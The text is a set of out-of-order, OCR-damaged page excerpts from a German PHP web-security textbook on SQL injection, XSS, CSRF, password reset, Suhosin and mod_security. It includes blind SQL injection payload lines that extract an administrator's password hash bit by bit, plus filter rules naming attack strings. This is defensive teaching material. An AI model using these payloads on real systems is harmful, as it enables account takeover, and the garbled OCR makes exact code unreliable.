auch als Protokoll Eine Umsetzung dieses Protokolls in PHP ist nicht weiter schwie rig In unserem Beispiel besteht
189. diese Implementierung aus zwei Dateien passremind php und challenge php Die erste Datei nimmt lediglich die Mailadresse entgegen berpr ft ob diese in der Daten bank vorhanden ist und schickt eine Mail mit dem Link zur Chal lenge Seite an den Benutzer Das Skript challenge php wiederum besteht aus zwei kurzen Funktionen die einerseits ein Formular zur nderung des Passwortes anzeigen aber auch neue Passw rter setzen und die Challenge IDs ung ltig machen Die dem Challenge Mechanismus zugrunde liegende Tabelle challenge sieht wie folgt aus Challenge und Response 160 6 Authentisierung und Authentifizierung Challenge Tabelle mysql gt desc challenge in MySQL Field Type Null Key Default Extra userid int 5 YES NULL e challenge varchar 50 YES MUL NULL valid tinyint 1 YES NULL timestamp int 11 YES NULL Das Skript passremind php erledigt folgende Aufgaben Entgegennehmen der Mailadresse berpr fen ob diese syntaktisch g ltig und in der Datenbank vorhanden ist Wenn ja Erstellen einer Challenge ID und Einf gen dieser ID in die Datenbank Versand einer Mail mit URL an den Benutzer dieser kann dort ein neues Passwort vergeben passremind php lt php if
190. dukten bekannt In der Ver gangenheit hat der Suhosin Patch allerdings zu Problemen mit dem Zend Optimizer gef hrt weil der Zend Optimizer auf bereits wieder freigegebenen Speicher zugegriffen hat Dieses Problem wurde mittler weile von Zend behoben 260 11 PHP Hardening 11 5 Konfiguration Wie bereits oben erw hnt sollten Sie Suhosin auf jeden Fall per php ini oder falls Sie mod_php benutzen innerhalb der VirtualHost Bl cke konfigurieren Da die Liste der Features st ndig w chst exis tieren eine ganze Reihe von Konfigurationsoptionen von denen im Folgenden nur eine Teilmenge erkl rt werden kann Eine vollst ndige Liste und Dokumentation aller Optionen finden Sie jederzeit auf der Webseite zu Suhosin Die Konfiguration l sst sich in einige syntak tisch nicht zusammenh ngende Sektionen unterteilen Generelle Optionen Protokollierung und Log Dateien Transparente Verschl sselung Variablenfilter Upload Konfiguration Jede dieser Sektionen besteht aus mehreren Konfigurationsvariablen die Sie auf Ihre Situation anpassen k nnen aber nicht immer m ssen meist sind die voreingestellten Werte ausreichend Wie f r php ini blich werden alle Einstellungen mit dem Schema name wert gesetzt Der Name der Direktive setzt sich bei Suhosin wie folgt zusammen suhosin bereich optionaler unterbereich direktive wert Nicht jeder Bereich hat einen Unterbereich oftmals kommt auch direkt nach dem Ber
191. durchf hren 5 2 3 _Cookie Parameter Die Angriffe in der letzten Zeit zeigen uns dass auch Cookie Parame ter f r eine SQL Injection ausgenutzt werden k nnen Eine gro e Forensoftware und ein CMS sind auf diese Art und Weise einem Angriff zum Opfer gefallen Ein Angreifer hatte es ausgenutzt dass Werte aus dem superglobalen Array COOKIE in eine SQL Abfrage bernommen wurden ohne diese vorher auf korrekten Inhalt zu pr fen Die Werte aus dem Array _COOKIE werden ebenfalls vom Client bermittelt und k nnen dort mit einem Browser Plugin oder einem dazwischengeschalteten Proxy einfach ge ndert werden Ein Cookie hat meist folgenden Aufbau Inhalt Ablaufdatum Maximales Alter Pfad Version letzteSuche cookie aufbau amp user_id 1000 expires Tue 29 Mar 2005 19 30 42 GMT Max Age 2592000 Path cgi suche py Version 1 5 2 Auffinden von SQL Injection M glichkeiten 127 In der ersten Zeile sehen wir zwei Variablen TetzteSuche und user id Diese beiden Variablen k nnen auf dem Client ver ndert werden SELECT ID Name Email FROM users WHERE userid _COOKIE user id Dieses SQL Statement ist anf llig f r SQL Injection da keine ber pr fung der Inhalte des Cookie Feldes stattfindet Die Validierung w re in diesem Fall sehr einfach da eine User ID meist nur aus Zahlen besteht int _COOKIE user_id Der Cast Operator sorgt in diesem Fall daf r dass nur Integerwerte an die Datenbank weiterger
192. e Druck und Bindung Koninklijke W hrmann B V Zutphen Niederlande Bibliografische Information Der Deutschen Bibliothek Die Deutsche Bibliothek verzeichnet diese Publikation in der Deutschen Nationalbibliografie detaillierte bibliografische Daten sind im Internet ber lt http dnb ddb de gt abrufbar ISBN 978 3 89864 535 5 3 aktualisierte Auflage 2008 Copyright 2008 dpunkt verlag GmbH Ringstra e 19 B 69115 Heidelberg Die vorliegende Publikation ist urheberrechtlich gesch tzt Alle Rechte vorbehalten Die Verwendung der Texte und Abbildungen auch auszugsweise ist ohne die schriftliche Zustimmung des Verlags urheberrechtswidrig und daher strafbar Dies gilt insbesondere f r die Vervielf ltigung bersetzung oder die Verwendung in elektronischen Systemen Es wird darauf hingewiesen dass die im Buch verwendeten Soft und Hardware Bezeichnungen sowie Markennamen und Produktbezeichnungen der jeweiligen Firmen im Allgemeinen warenzeichen marken oder patentrechtlichem Schutz unterliegen Alle Angaben und Programme in diesem Buch wurden mit gr ter Sorgfalt kontrolliert Weder Autor noch Verlag k nnen jedoch f r Sch den haftbar gemacht werden die in Zusammenhang mit der Verwendung dieses Buches stehen 543210 Danksagungen Christopher Kunz Ich bedanke mich bei meinen Kompagnons meinen Kollegen meiner Familie und bei der gesamten deutschen PHP Community f r die Unterst tzung kritische Begutachtung sowie f
193. e maxval value 99999 gt lt parm gt Bei Formularfeldern die mittels Drop down Men s Radio oder Checkboxen bef llt werden k nnen Sie alle Optionen einzeln ange ben Vielleicht haben Sie in Ihrem Formular ein Drop down Feld f r die Anrede eines Kunden das folgende Werte enth lt lt select name anrede gt lt option gt Herr lt option gt lt option gt Frau lt option gt lt option gt Dr lt option gt lt option gt Prof lt option gt lt select gt M chten Sie nur diese Werte zulassen und so verhindern dass ein Angreifer mit einem manipulierten Formular Ihre Anwendung durch einanderbringt dann l sst sich das mit einer einfachen Constraint Folge l sen lt parm name anrede gt lt type name enum gt lt attr name option value Herr gt lt attr name option value Frau gt lt attr name option value Dr gt lt attr name option value Prof gt lt parm gt 12 4 mod_parmguard 307 Ein Namensfeld das nur Zeichen von A bis Z akzeptiert k nnte in mod_parmguard Syntax so aussehen lt parm name nachname gt lt type name string gt lt attr name charclass value a zA Z gt lt parm gt Entwickeln oder warten Sie eine Anwendung in der h ufig Parameter vom selben Datentyp vorkommen und m chten Sie nicht f r jeden einzelnen Parameter dieselben Constraints definieren dann k nnen Sie auch benutzerdefinierte Datentypen einf hren Diese user types wi
194. e optionl gt Option 1 lt option gt lt option name option2 gt Option 1 lt option gt lt select gt Server Banner Visitenkarte des Servers Angaben ber Name und Version des Servers in HTTP Headern Server Signatur Unterschriftszeile des Webservers bei Fehler und Statusmeldungen SHA 1 SHA 256 Hashing Algorithmen siehe oben Shared Hosting Provider Shared Hosting Provider sind Dienstleister die mehrere Kunden auf einem Webserver unterbringen Das bedeutet diese Kunden teilen sich einen Server 330 D Glossar Shared Memory Shared Memory bezeichnet eine bestimmte Art der Interprozesskommuni kation Bei dieser Art nutzen zwei oder mehrere Prozesse einen bestimmten Teil des Hintergrundspeichers gemeinsam F r alle beteiligten Prozesse liegt dieser gemeinsam genutzte Speicherbereich in deren Adressraum und kann mit normalen Speicherzugriffsoperationen ausgelesen und ver ndert werden SSL Der Secure Sockets Layer auf Deutsch etwa Ebene f r sichere Socketverbindungen ist der momentane Quasistandard f r gesicherte Verbindungen ber ein unsicheres Medium wie beispielsweise das Internet Mit SSL erweitertes HTTP wird als HTTPS bezeichnet FTP ber eine SSL Verbindung hei t FTPS etc Der Nachfolger von SSL wird als TLS Trans port Layer Security bezeichnet suExec Das Apache Modul suExec dient dazu CGI Programme in einer gesch tz ten Umgebung ausf hren zu lassen ber ein mehrstufiges Sicherh
195. e sie im Jargon von mod_parmguard genannt werden m ssen Sie vor allen anderen Constraints definieren sie kollidieren nicht mit anderen Parameternamen M chten Sie einen nutzerdefinierten Typ preis definieren der stets eine positive Zahl sein soll k nnen Sie so vorge hen lt usertype name preis gt lt type name decimal gt lt attr name minval value 0 0 gt lt usertype gt Bei einem Onlineshop etwa w rde ein solches Preis Feld sicher an mehreren Stellen benutzt werden Sie brauchen es dank Ihres selbst definierten Datentyps jedoch nicht st ndig neu in die XML Datei zu schreiben Stattdessen gen gt es wenn Sie einen neuen Preis Parameter wie folgt definieren lt parm name preis1 gt lt type name preis gt lt parm gt Wenn Sie alle in diesem Abschnitt genannten Elemente zu einer voll st ndigen XML Datei zusammensetzen erhalten Sie folgendes Beispiel lt xml version 1 0 7 gt gt lt DOCTYPE parmguard SYSTEM mod_parmguard dtd gt lt parmguard gt lt global name http_error_code value 403 gt lt global name undefined_url_action value accept log gt lt global name undefined_parm action value reject log gt lt global name illegal_parm action value reject log gt lt usertype name preis gt lt type name decimal gt lt attr name minval value 0 0 gt lt usertype gt lt url gt 308 12 Webserver Filter f r Apache lt match gt dateiname php
196. e Authentifizierungsma nahmen gesch tzt Kann diese Authentisierungspflicht umgangen werden etwa durch eine SQL Injection 1 http www owasp org documentation testing application html 312 A Checkliste f r sichere Webapplikationen Art der L cke Anmerkung Benutzerwechsel durch Parametermanipulation Kann ein Benutzer durch nderung eines Parameters z B Benutzer ID den Account eines anderen Nutzers einsehen berspringen der Autorisierung K nnen Funktionen die nur eingeloggten Benutzern zur Verf gung stehen sollen durch direkte Eingabe der URL aufgerufen werden Verschl sselung per SSL Werden Autorisierungsdaten per SSL bertragen und verschl sselt Standard Accounts Legt das System ber seine Installationsroutine Standard Accounts wie admin root webmaster mit Standardpassw rtern an Vorhersagbarer Benutzername Ist der Benutzername leicht vorherzusagen Domain E Mail Kontonummer Passwortqualit t Erzwingt das System sichere Passw rter L nge Zusammensetzung ber entsprechende berpr fungen K nnen Sonderzeichen wie Anf hrungszeichen und Klammern Bestandteil des Passwortes sein SQL Injection Passwortbeschaffung Wird das Passwort per E Mail bertragen Muss der Benutzer einen Link anklicken um ein neues Passwort setzen zu k nnen Gef hrliche Inhalte in Cookies Werden Passw rter Passwort Hashes oder andere
197. e der folgende Abschnitt detaillierter eingeht Syntax nderungen Eine der umfangreichsten nderungen in mod_security 2 ist das Weg fallen der Konfigurationsdirektive SecFilter und die Umbenennung der Anweisung SecFilterSelective Die vormals zwei Direktiven wur den zu der neuen Direktive SecRule zusammengefasst Alte mod_security Regeln die Sie noch f r Version 1 geschrieben haben werden also nach einem Upgrade auf mod_security 2 nicht mehr funk tionieren Die Benennung von Variablen f r Filterregeln hat sich ebenfalls ge ndert Konnte man in mod_security 1 noch mit ARG_module den URL oder POST Parameter module f r eine Filterregel ausw hlen so nutzt mod_security 2 eine geringf gig andere Syntax ARG module Andere spezielle Variablen wurden umbenannt und ihre Reichweite Scope ge ndert Die spezielle Variable XML etwa enth lt den Inhalt einer POST Anfrage wenn diese z B bei SOAP oder anderen XML basierten Anfragen mit dem Content Type text xml versandt wurde Detaillierte und aktuelle Informationen dazu liefert das Onlinehandbuch zu mod_security 2 Die Direktive zum An und Ausschalten von mod_security wurde ebenfalls umbenannt und zwar von SecFilterEngine in SecRuleEngine Neben den bekannten Argumenten On bzw Off kam noch eine dritte M glichkeit hinzu mit DetectionOnly versetzen Sie das Apache Modul in einen IDS Modus der keine Anfragen blockiert sondern nur mittels der blichen Schnittstellen also in
198. e durchzuf hren autorisiert also befugt sind So stellt ein Unix System anhand eines Eintrags in der Datei etc passwd fest welche User ID Ihr Account hat und ob Sie Root Rechte besitzen oder nicht Ein Content Manage ment System k nnte Ihnen anhand Ihrer Identit t Administrator oder Redakteursprivilegien zuordnen und bei einer EC Zahlung wird anhand einer Transaktion bei Ihrer Bank festgestellt ob Sie befugt sind Ihr Konto mit dem zu zahlenden Betrag zu belasten Grunds tzlich muss gelten Autorisierung ohne vorherige Authen tifizierung ist nutzlos 6 2 Authentisierungssicherheit 147 6 2 _Authentisierungssicherheit Bevor Ihre PHP Anwendung anhand einer Nutzerdatenbank feststel len kann ob ein Nutzer existiert und berechtigt ist die Anwendung zu verwenden muss der Nutzer zun chst die notwendigen Informationen bereitstellen Die Authentisierungsinformationen des Nutzers sind dazu gedacht ihn eindeutig identifizierbar zu machen wenn sie jedoch durch Dritte abh r oder erratbar sind ist die Authentisierung und damit auch die Authentifizierung wertlos und Ihre Anwendung kompromittiert Die in den folgenden Abschnitten vorgestellten Ma nahmen sollen Ihnen helfen Ihre Nutzer gegen unsichere Authentisierungsinformati onen aber auch gegen das Erraten und Abh ren der Authentisierung zu sch tzen 6 2 1 SSL F r Login und Anmeldeseiten jeder Art sollten Sie SSL als absolutes Muss ansehen Schlie lich f h
199. e eine 0 ist oder nicht zu TRUE oder FALSE evaluiert id 1 ist die erste ID in der User Tabelle meist ist dies der Administrator Diese ID k nnen Sie nat rlich durch jede andere g ltige User ID ersetzen Lie fert dieser Ausdruck nun TRUE zur ck steht der User mit unserer ausge w hlten ID an erster Stelle bei FALSE ist er das nicht Hierf r ben tigt man 15 32 Requests also 480 St ck Um diese Anzahl zu reduzieren kann man mit der MySQL Funk tion CONV arbeiten die Zahlensysteme konvertiert CONV A 16 2 Dieser Ausdruck verwandelt ein A aus dem Hexadezimalsystem in einen Bin rwert Das Ergebnis ist 1010 Bei unserem Angriff handelt es sich um einen MD5 Hash also pro Ziffer sind 4 Bits vorhanden Diese werden mit dem logischen amp Ope rator verkn pft 5 5 Schutz vor SQL Injection 139 id 1 amp amp conv substring passwd 1 1 16 10 amp 1 1 Stelle id 1 amp amp conv substring passwd 1 1 16 10 amp 2 2 Stelle id 1 amp amp conv substring passwd 1 1 16 10 amp 4 3 Stelle id 1 amp amp conv substring passwd 1 1 16 10 amp 8 4 Stelle Ist das Bit an der entsprechenden Stelle gesetzt wird eine Zahl ungleich 0 zur ckgegeben So kann man auch wieder anhand der Sor tierung berpr fen ob das Bit an der entsprechenden Stelle gesetzt ist In unserem n chsten Beispiel liegt ein Passwort Hash vor der an der ersten Stelle den Buchstaben b hat conv substr passwd 1 1 16 10
200. e enthal ten die den Upload von Schadcode per HTTP erlaubte und zwar an jedes beliebige PHP Skript nicht nur an solche die auch zum Datei Upload gedacht waren Mithilfe dieser L cke konnte eigener Code hochgeladen und ausgef hrt werden somit gelangte der Angreifer an einen Zugang auf dem Zielsystem meist mit den Benutzerrechten des Webservers Ein Exploit Tool namens 7350fun wurde von der Sicherheitsgruppe Team Teso entwickelt jedoch nicht ffentlich angeboten Es zirkuliert bis heute auf Szeneseiten und ist h ufig auf gecrackten Servern zu finden 10 1 3 Unsichere De Serialisierung Durch einen Bug in den Funktionen zur Serialisierung und Deseriali sierung von Variablen serialize respektive deserialize wurde bei einem Aufruf mit einer speziell pr parierten Variablen mehr Spei cher freigegeben als erw nscht und damit konnte eigener Code aus gef hrt werden Pikant wurde diese L cke dadurch dass eine Reihe von Anwendungen ohne genaue Pr fung serialisierte Daten aus Nutze reingaben meist Cookies an die Deserialisierungsfunktion berga ben Dadurch war der Weg zur K nigsklasse der Exploits geebnet Angreifer konnten eigenen Schadcode direkt ber ein Cookie ausf h ren Die Liste der verwundbaren Anwendungen liest sich wie ein Who s who der PHP Foren phpBB WoltLab Burning Board und Invision waren nur einige der Applikationen die unter diesem Bug zu leiden hatten 10 1 4 Verwirrter Speicher
201. e erste Auflage dieses Buches erstellt wurde hatte PHP bereits viele andere Web Skriptsprachen hin ter sich gelassen Millionen von Websites bauen auf die dynamische Skriptsprache und von einfachen G steb chern bis hochkomplexen mehrstufigen Business Applikationen sind PHP Anwendungen in allen Gr en Farben und Formen zu finden Seitdem konnte PHP nicht zuletzt dank der F lle verf gbarer Webapplikationen aber auch dank geringer Einstiegsh rden f r Ent wickler seinen Vorsprung gegen ber anderen Sprachen deutlich aus bauen Zwar kommen mit dem vielger hmten Web 2 0 neue Her ausforderungen und Konkurrenten man denke an Ruby on Rails aber auch diese H rde nimmt PHP spielend PHP 5 bietet all denen die zuvor die etwas l ckenhafte Implemen tierung objektorientierter Programmierung von ernsthaften Gehversu chen abgehalten hat eine umfassendere OOP Schnittstelle und dazu gef hrt dass noch mehr gro e Projekte und Firmen den Sprung von L sungen mit Java oder NET zu der freien Skriptsprache schaffen Mit dem immensen Wachstum der Nutzer und Entwicklerge meinde wuchsen allerdings auch die Schwierigkeiten Waren sicher heitsrelevante Fehler in PHP Programmen schon seit jeher ein ernst zu nehmendes Problem so kam es im Laufe des Jahres 2004 zu einigen mehr oder weniger spektakul ren Sicherheitsl cken Die Forensoft ware phpBB war besonders schlimm betroffen ist sie doch aufgrund ihres reichhaltigen Feature Umfang
202. e es ihm nicht mitteilen da jeder Hashalgorithmus ein sogenannter One Way Algorithmus ist Sie m ssen stets ein neues Passwort vergeben Das ist jedoch nur ein klei ner Wermutstropfen denn im Vergleich zur Klartextspeicherung haben Sie im Falle eines Datenbankeinbruches wesentlich geringere Probleme Ein paar Worte zum Prinzip von Hashing Grunds tzlich ist jeder Hashalgorithmus eine Pr fsummenfunktion die aus einem beliebig langen Ausgangswert eine Pr fsumme fixer L nge schafft Im Fall von MDS dem weitverbreitetsten Hashalgorithmus wird jeder Klartext auf einen 32 Byte langen Hash abgebildet So ist es m glich CRC Pr fsummen f r Dateien zu bilden die mehrere Gigabyte gro sind die Pr fsumme bleibt immer gleich lang Anders als vielfach propa giert ist Hashing keine Verschl sselung Es fehlt grunds tzlich eine M glichkeit zur R ckf hrung des Chiffrats also des verschl sselten Textes in den Klartext da f r jeden Hash zumindest in der Theorie unendlich viele verschiedene Klartexte existieren W re es m glich Pr fsummenverfahren 150 6 Authentisierung und Authentifizierung Hashing verschafft Zeitvorsprung einen MD5 Hash ohne Ausprobieren eindeutig in seinen urspr ngli chen Klartext zu berf hren w re MDS der perfekte Kompressionsal gorithmus Alle Daten dieser Welt k nnten in 32 Byte gespeichert wer den Dass dies nicht m glich ist leuchtet ein Die Tatsache dass f r jeden Hash unendlich
203. e interessant es gibt noch einige mehr 2 7 1 mod_speling Das Apache Modul mod_speling die inkorrekte Schreibweise ist ein Scherz der Entwickler unterst tzt die Korrektur falsch geschriebener Requests an den Apache Webserver Falls der Datei oder Pfadname falsch ist oder die Gro und Kleinschreibung nicht beachtet wurde sorgt das Modul daf r dass dem Benutzer alternative Dateinamen angezeigt werden mod_speling setzt am Ende der Apache Modulkette an nach allen anderen Modulen Es durchsucht das komplette Ver zeichnis das angefordert wurde nach einem passenden Dateinamen und erstellt eine Liste von Dateien die durch die komplexe Logik von mod_speling am besten zum urspr nglichen Request passen w rden Diese Logik ignoriert maximal nur einen Fehler ein Zeichen zu viel oder zu wenig zwei verdrehte Buchstaben oder ein falsches Zeichen 2 7 Pfade 33l Wenn nach dem Durchsuchen des Verzeichnisses kein passendes Dokument ermittelt wurde wird ein 404 Statuscode zur ckgege ben Passt nur ein Dokument auf den Request wird ein Redirect auf das Dokument veranlasst Nur wenn mehrere Dokumente zu dem Request passen wird eine Linkliste mit diesen Dateinamen angezeigt Dies ist nat rlich f r die Zwecke eines Angreifers sehr hilfreich denn durch gezieltes Falschschreiben von Dateinamen erh lt dieser g ltige Dateien zur Auswahl Beispiel Die eigentliche Datei die aufgerufen werden soll lautet test php Wenn
204. e von gro en Rechnerverb nden bereits erfolgreich sogar mit 264 also doppelt so vielen Operationen durchgef hrt weshalb es f r s mtliche Anwendungen sinnvoll ist auf den noch immer als sicher geltenden Algorithmus SHA 256 zu wechseln Die Funktionen sha256 und sha256_file mit der man den Has hwert einer Datei z B zur Integrit tspr fung berechnen kann werden 11 2 Prinzipien hinter Suhosin 255 genauso aufgerufen wie die in PHP bereits enthaltenen Funktionen f r SHA 1 Ab der PHP Version 5 1 0 steht dem Entwickler ber die inte grierte hash Extension die gleiche Funktionalit t zur Verf gung Des Weiteren enth lt Suhosin eine verbesserte crypt Funktion die den Algorithmus CRYPT_BLOWFISH zur Verf gung steht Dieser Algorithmus ist im Standard PHP nur auf BSD Systemen verf gbar 11 2 Prinzipien hinter Suhosin Suhosin h lt sich an das Prinzip delete don t repair Werden Ver st e gegen das Regelwerk festgestellt versucht es nicht die verursa chende Variable zu reparieren und weiterzuarbeiten sondern entfernt entweder die inkriminierte Variable bei allen Variablenfilter Ver st en vor der weiteren Ausf hrung oder bricht das Skript ganz ab bei fast allen anderen Verst en Dieses Prinzip ist das werden Sie mittlerweile mehr als einmal gelesen haben das einzig richtige Sie sollten niemals versuchen bereits als schlecht erkannte Daten zu reparieren um sie wom glich noch weiterverarbei
205. e_vars varname f r eine gepr fte und f r sicher befundene Variable Es gibt kaum Angriffsm glichkeiten die ohne Parametermanipu lation funktionieren Fine Variablen berpr fung ist daher unerl sslich f r einen gewissenhaften und auf Sicherheit bedachten Entwickler Der Entwicklungsaufwand f r diese Mechanismen sollte von vornherein in die Planung einer Applikation mit aufgenommen werden denn ist die Anwendung erst einmal mit Sicherheitsl cken implementiert worden ist es meist nicht m glich diese im Nachhinein ad quat zu beseitigen insbesondere wenn das der Applikation zugrunde liegende Konzept fehlerhaft war und auf unsicheren Praktiken beruhte ail 4 Cross Site Scripting ber nicht ausreichend gepr fte Skriptparameter ist es oft m glich die HTML Ausgabe einer PHP Anwendung zu mani pulieren Ein Angreifer kann so daf r sorgen dass JavaScript im Browser eines Endanwenders ausgef hrt wird der die manipulierte Seite betrachtet So k nnen Passw rter Cookies und andere sensitive Daten ausgesp ht werden Diese Art von Angriffen nennt man Cross Site Scripting oder XSS 4 1 Grenzenlose Angriffe Die Angriffsklasse der Cross Site Attacken geh rt zu den h ufigsten Angriffen berhaupt und teilt sich in mehrere Unterklassen auf Gemeinsam ist allen Cross Site Angriffen dass sie jeweils aus einem f r das Opfer vertrauensw rdigen Kontext heraus Aktionen ansto en die diesen Kontext verlassen und in einer gan
206. eben oder URL Parameter an eine un bliche Dateiendung wie asp angeh ngt werden k nnen Sie mit einem weiteren einfachen Trick herausfinden ob Ihr Ziel wirklich eine PHP Datei ist Suchen Sie einfach einen URL Parameter dessen Fehlen eine Ver nderung des Inhalts verursacht etwa eine Seiten ID o und stellen Sie vor den Beginn des Variablennamens ein Wird die aufgerufene Datei unver ndert angezeigt handelt es sich bei dem Skript sehr wahrscheinlich um ein PHP Skript 2 5 Datenbanksystem erkennen Eine gro e St rke der Skriptsprache PHP liegt im einfachen und unkomplizierten Zusammenspiel mit Datenbanken Deshalb ist es f r einen Angreifer auch wichtig zu wissen ob eine und welche Daten bank verwendet wird um einen eventuell m glichen Angriff darauf zu starten Die am h ufigsten verwendete Datenbank im PHP Umfeld ist sicher MySQL aber auch MS SQL PostgreSQL oder Oracle findet man des fteren Am einfachsten erkennt man eine Datenbank wenn der Port auf dem die Datenbank eine Anfrage erwartet von extern also von au er halb erreichbar ist Dies ist bei den meisten Installationen aber nicht der Fall und so bleibt uns nur noch die Methode der Fehlererzeugung analog zur Ermittlung der PHP Installation im vorigen Abschnitt Werden Parameter in der URL bergeben oder werden Daten ber ein Formular in eine Datenbank eingegeben bzw ausgegeben kann man durch Eingabe von Sonderzeichen wie oder versuchen einen Fehler
207. echo lt input type hidden name token value newToken gt gt 4 18 6 Unheilige Allianz CSRF und XSS Ist es dem Angreifer m glich eine Cross Site Scripting L cke in Ihrer Applikation auszunutzen dann sind einige Dinge zu beachten Zum einen f llt jeglicher Cross Domain Schutz vor JavaScript Angriffen von fremden Seiten weg da sich das JavaScript nun innerhalb Ihrer Applikation befindet Das hei t dank der durch DOM siehe Abschnitt 4 13 gebotenen Manipulationsm glichkeiten ist es zum Beispiel m glich das Token Konzept auszuhebeln da XSS vollen Zugriff auf den Inhalt der ver steckten HTML Formularfelder hat Weiterhin k nnte ber XSS abh ngig vom verwendeten Browser das Passwort des Nutzers gestoh len werden das f r administrative Zwecke notwendig ist Daher hel 4 Cross Site Scripting fen gegen die Kombination CSRF und XSS nur L sungsm glichkeiten wie CAPTCHAs TANs und E Mail Verifikation oder eben eine sehr gr ndliche berpr fung Ihrer Anwendung auf Cross Site Scripting Und genau aus diesem Grund haben Sie ja schlie lich dieses Kapitel bis zum Schluss durchgelesen 5 SQL Injection SOL Injection ist eine der gef hrlichsten Angriffsarten auf Webserver und Webanwendungen In diesem Kapitel wird erkl rt wie ein SOL Injection Angriff durchgef hrt wird und wie man als Entwickler einen solchen Angriff verhindern kann 5 1 Grundlagen In den letzten Jahren wurden SQL Injecti
208. eckraddr definieren wie viele Oktette der REMOTE_ADDR in den Schl ssel aufgenommen werden bzw wie viele bereinstimmen m s sen damit der Inhalt korrekt entschl sselt wird Bei einem Wert von 4 muss die IP Adresse komplett bereinstimmen bei einem Wert von 3 nur das Class C Netz usw In der Defaultkonfiguration sind beide Werte auf 0 gesetzt da sich IP Adressen insbesondere die von Nutzern gro er Provider mit jedem Request ndern k nnen Sinnvoll kann eine IP berpr fung aber zum Beispiel f r das Admin Verzeichnis Ihrer Applikation sein da Administratoren in der Regel keine h ufig wechselnden IP Adressen haben 11 5 5 Variablenfilter Suhosin beeinhaltet einen Variablenfilter der einige Standard berpr fungen und Plausibilit tschecks ausf hrt Sie k nnen diese berpr fun gen mit Konfigurationsdirektiven in der php ini steuern und die Stan dardwerte so ver ndern dass sie auf Ihre Umgebung passen Dabei unterscheidet Suhosin analog zu den superglobalen Servervariablen gleichen Namens zwischen COOKIE GET POST und REQUEST sodass f r jede Variablenquelle verschiedene Konfigurationswerte gesetzt werden k nnen Die Einstellungen f r REQUEST gelten hierbei als Standardwerte wurde keine individuelle Konfiguration f r eine andere Variablen quelle festgelegt dann werden die dort gesetzten Werte verwendet Es ergibt durchaus Sinn zumindest f r Cookie Variablen andere Standardwerte festzulegen als f r GET oder PO
209. ective REQUEST_METHOD POST Danach stellt ein weiterer Filter fest welcher Dateiname aufgerufen wird SecFilterSelective SCRIPT_FILENAME xmirpc php Als Letztes wird ein charakteristischer Teil des b swilligen XMLRPC Contents aus der Nutzlast des POST Requests gefiltert SecFilterSelective POST_PAYLOAD lt member gt lt name gt lt name gt 12 3 mod_security 293 Setzen Sie diese drei Regeln zu einer verketteten Regel zusammen so haben Sie einen wirksamen Schutz gegen einen der Angriffsvektoren der XMLRPC L cke SecFilterSelective REQUEST_METHOD POST chain SecFilterSelective SCRIPT_FILENAME xmirpc php chain SecFilterSelective POST_PAYLOAD lt member gt lt name gt lt name gt deny log status 500 Beachten Sie aber dass durch das Umstellen der Reihenfolge oder Hinzuf gen weiterer Tags im XML ein Angreifer diesen Filter wie auch jeden anderen umgehen k nnte Es ist daher wichtig an dieser Stelle nochmals darauf hinzuweisen mod_security eignet sich nicht als dauerhafte L sung f r Program mierfehler Filterregeln k nnen nie einen Ersatz f r die vom Hersteller eines Softwareprodukts bereitgestellten Patches darstellen 12 3 6 Alarmskript f r mod_security Mit der weiter oben erkl rten Aktion exec k nnen Sie ein externes Skript aufrufen um gegen ber dem Administrator der Site Alarm zu schlagen Leider stehen Ihnen nicht alle Informationen aus GET oder POST zu
210. egen den IP Stack oder interne Funktionen ab und erlaubt kein Nachladen und Ausf hren von Kernel Modulen Eine im Kernel implementierte Changeroot Umgebung chroot sepa riert Anwendungen voneinander und weitere Ma nahmen die auf Betriebssystemebene implementiert werden Netzwerk Betriebssystem CH 1 Einleitung Web Application Firewall Webserver PHP Anwendungen Ein Ausgabe First Order Eine Web Application Firewall WAF die webbasierte Angriffe aus dem produktiven Traffic herausfiltert und die Administratoren informiert ist die dritte Verteidigungsebene Bei Webapplikationen ist die n chste Ebene einer Defense in Depth Strategie der Webserver der im Rahmen seiner M glichkeiten geh rtet werden sollte Dazu geh ren nicht nur Techniken zur Vermei dung von Informationslecks sondern auch Sicherheitsma nahmen wie der Einsatz von SSL Auch das Apache Modul mod_security das sich selbst bereits als WAF bezeichnet oder chroot und suExec Mechanis men sind Teil dieser Ebene Die n chste Ebene des Defense in Depth sind die PHP Anwendun gen selbst und damit der Hauptgegenstand dieses Buches Auch diese Anwendungen lassen sich wiederum in Schichten aufteilen die separat voneinander gesichert werden Auf der Datenebene sollte gew hrleistet sein dass keine schadhaf ten oder in b swilliger Absicht erstellten Daten wie XSS Angriffe zweiter Ordnung siehe den n chsten Abschnitt in die Datenspeicher gelange
211. ehlverhalten ist dem Entwickler von mod_security bekannt und mittlerweile dokumentiert da aber das Modul auch f r andere Sprachen einsetzbar sein soll die die CGI API verwenden wird keine nderung am bestehenden Modell vorgenommen Streng genommen ist PHP der Schuldige da sich die Sprache hier offenbar nicht stan dardkonform verh lt M chten Sie den Suchraum f r Ihre Filter eingrenzen k nnen Sie statt einzelner Variablennamen einfach das Schl sselwort ARGS benutzen das eine Kurzform von QUERY_STRING POST_PAYLOAD darstellt Normalisierung von Anfragen Um den einfachsten Filter Ausweichtechniken entgegenzuwirken nimmt mod_security eine eigene Normalisierung jedes HTTP Requests vor Enth lt eine Regel Pfadangaben beispielsweise etc passwd so k nn ten Angreifer versuchen diese durch zus tzliche Zeichen zu umgehen beispielsweise indem sie aus etc passwd einen Pfad wie etc passwd machen Durch die in mod_security integrierte Pfadnormalisierung wird das verhindert Zus tzlich unterbindet mod_security Angriffe bei denen eigent lich zu filternde Strings hinter Nullbytes versteckt werden allerdings nur wenn das Schl sselwort SecFilterByteRange nicht aktiviert ist Anwendungsspezifische Regeln mit SecFilter Die Direktive SecFilter berpr ft ausschlie lich den kompletten GET oder POST Request und l sst alle Header unangetastet Daher sind diese einfachen Filter nicht dazu geeignet als generische Schutzmec
